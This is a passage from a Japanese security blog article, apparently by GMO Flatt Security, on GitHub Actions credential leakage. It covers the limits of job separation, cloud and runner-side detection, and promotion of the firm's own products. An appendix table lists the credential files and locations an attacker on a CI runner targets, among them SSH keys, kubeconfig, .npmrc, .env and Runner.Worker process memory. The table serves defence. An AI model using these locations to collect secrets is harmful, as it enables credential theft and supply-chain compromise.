「クラウド認証と信頼できないコードの実行を分離する」で紹介したjob分離は、PRコードと認証情報の同居を防ぐためのパターンでした。しかし、認証情報を使う側のjobは何らかのコードを必ず実行します。そのコード実行を「絶対に信頼できる固定コードだけ」に制限することは、ユースケースによっては不可能です。例えばIaC(Terraform、CDK等)では構成ファイル自体が任意コード実行の入口になり、認証情報を必要とする処理と切り離せません。
|
||
|
||
**「認証情報を扱うjob」と「任意コード実行を伴うjob」を完全に分離することは、現実のユースケースの相当部分でできません。job分離は強力な対策ですが、銀の弾丸ではありません。**
|
||
|
||
### 完全防御ではなく検知とインシデントレスポンス
|
||
|
||
OIDC化、クラウド側の権限の絞り込み、Environment保護、ruleset、job分離。ここまでの対策は正規の経路に攻撃者を入れないための仕組みであり、それぞれが重要です。しかし、正規の経路を通ってしまった場合、認証情報は漏れます。これはGitHub ActionsやOIDCの設計上の限界というより、 **「認証情報を使うコードがある以上、そのコード実行が侵害されれば認証情報も侵害される」** という、より根本的な性質です。
|
||
|
||
そのため、漏洩を前提とした検知とインシデントレスポンスが、もう一段の防御層として有効です。CloudTrail (AWS)、Cloud Audit Logs (GCP)、Azure Activity Logで、想定外のリージョン・想定外のIP・通常運用に存在しないAPI呼び出しを監視します。GuardDuty (AWS)、Security Command Center (GCP)等のマネージド検知サービスを組み合わせれば、ベースラインの逸脱検知を仕組み側に任せられます。
|
||
|
||
クラウド側の検知に加えて、runner側でジョブ実行中の挙動を可視化する仕組みを併用すると、侵害の早期検知や事後の調査が可能になります。当社GMO Flatt Securityが提供しているTakumi Runner [^5] は、GitHub Actionsのジョブごとに独立したephemeral VMを払い出し、eBPFでプロセス・ネットワーク・ファイルアクセスのトレースを収集します [^6] 。これにより、 `tj-actions/changed-files` のような侵害事例でIoCが公開された際に、過去のジョブが影響を受けたかを後から検索できます。さらに今後提供予定(2026年7月現在)の自動トリアージ機能 [^7] では、新たな侵害キャンペーンが報告された際に蓄積トレースを自動で走査し、影響を受けた可能性のあるジョブを通知します。
|
||
|
||
## 付録: 攻撃者が狙う認証情報の代表例
|
||
|
||
runner上でコマンド実行を獲得した攻撃者が狙う代表的な認証情報を、種類別に整理します。実際の侵害ではこれら以外にも様々な情報が対象になり得るため、網羅的なリストではなく傾向の俯瞰として参照ください。
|
||
|
||
| 情報の種類 | 具体例 | 影響 |
|
||
| --- | --- | --- |
|
||
| `GITHUB_TOKEN` / Personal Access Token | ワークフロー実行ごとに発行されるリポジトリスコープの短期トークン、ユーザーが発行したPAT | リポジトリへの読み書きやPR操作。 `contents: write` 等の権限を持つ場合は、新規ブランチ作成から `workflow_dispatch` 経由で別ワークフローのsecretsへ横展開しうる |
|
||
| クラウドサービスの認証情報 | AWS / GCP / Azure 等へのアクセストークン(OIDC一時クレデンシャル、IMDS経由で取得されるロールクレデンシャル含む) | クラウドリソースへの読み書き、データ窃取・改ざん、インフラ操作 |
|
||
| パッケージレジストリの認証情報 | npm / PyPI / Docker Registry / RubyGems 等への publish 権限を持つトークン(`NPM_TOKEN` 、 `~/.npmrc` 、 `~/.docker/config.json` 等) | 悪意あるバージョンを公開し、下流ユーザーへのサプライチェーン攻撃に発展しうる |
|
||
| SSHキー | GitHubのデプロイキー、サーバーへのSSH秘密鍵(`~/.ssh/id_*` 等) | 該当サーバーへの直接ログイン、デプロイキー経由のリポジトリアクセス |
|
||
| Kubernetesクレデンシャル | kubeconfig(`~/.kube/config`)、Service Accountトークン(`/var/run/secrets/kubernetes.io/` 等) | クラスタ内のリソース操作、cluster secretsの読み取り、悪意あるワークロードのデプロイ |
|
||
| SaaS / Webhookトークン | Slack incoming webhook URL、Discord webhook URL、PagerDuty / Datadog / Sentry等のAPIキー | なりすまし通知によるソーシャルエンジニアリング、監視データの操作・改ざん、運用への影響 |
|
||
| 署名鍵 | GPG秘密鍵、コード/パッケージ署名証明書(Sigstore / cosign含む) | 悪意あるアーティファクトに正規の署名を付与し、署名ベースの信頼を回避 |
|
||
| AI agent / コーディングツールの認証情報 | `ANTHROPIC_API_KEY` 、 `GEMINI_API_KEY` 、 `GITHUB_COPILOT_API_TOKEN` 、 `~/.claude.json` 、MCPサーバー設定等 | AIサービスへの不正なAPI呼び出し、CIワークフロー内のagent経由での更なる横展開 |
|
||
| その他(横断的な経路に置かれたsecrets) | `.env` ファイル、 `Runner.Worker` プロセスのメモリ(`/proc/<pid>/mem`)、シェル履歴(`~/.bash_history` 等) | 上記いずれの種類の認証情報も、これらの経路から横断的に取得されうる |
|
||
|
||
## 終わりに
|
||
|
||
本記事では、GitHub Actionsにおける認証情報の漏洩経路と、それに対するリスク軽減策を整理しました。OIDC化、クラウド側の権限の絞り込み、Environment保護やrulesetといった対策は、攻撃者が正規の経路から認証情報に到達することを防ぐための仕組みです。一方で、正規の経路を通った侵害までは予防的な対策では完全には防げないため、漏洩を前提とした検知とインシデントレスポンスを併せて整備することが現実的な姿勢となります。
|
||
|
||
GitHub Actionsを用いてCI/CDパイプラインを構築されている皆様が、認証情報の漏洩リスクを多層的に見直すうえで、本記事が一助となれば幸いです。
|
||
|
||
GMO Flatt Securityでは、本記事の主題に関連するCI/CDセキュリティ領域のサービスとして、GitHub Actionsジョブの挙動の可視化と事後調査を可能にするTakumi Runnerや、悪意あるパッケージによるソフトウェアサプライチェーン攻撃のリスクから開発者を守るTakumi Guardを提供しています。これら以外にも、脆弱性診断・セキュアコーディング教育・AIによるセキュリティレビューなど、開発組織のセキュリティをサポートする各種サービスを提供しておりますので、ご興味を持ってくださった方はお気軽にお問い合わせください。
|
||
|
||
ここまでお読みいただきありがとうございました。
|
||
|
||
[^1]: [https://github.com/advisories/GHSA-mrrh-fwg8-r2c3](https://github.com/advisories/GHSA-mrrh-fwg8-r2c3)
|
||
|
||
[^2]: [https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23](https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23)
|
||
|
||
[^3]: [https://nx.dev/blog/s1ngularity-postmortem](https://nx.dev/blog/s1ngularity-postmortem)
|
||
|
||
[^4]: [https://docs.aws.amazon.com/IAM/latest/UserGuide/id\_roles\_use\_revoke-sessions.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_revoke-sessions.html)
|
||
|
||
[^5]: [https://flatt.tech/takumi/features/runner](https://flatt.tech/takumi/features/runner)
|
||
|
||
[^6]: [https://shisho.dev/docs/ja/t/runner/](https://shisho.dev/docs/ja/t/runner/)
|
||
|
||
[^7]: [https://shisho.dev/docs/ja/t/runner/features/auto-triaging/](https://shisho.dev/docs/ja/t/runner/features/auto-triaging/)
|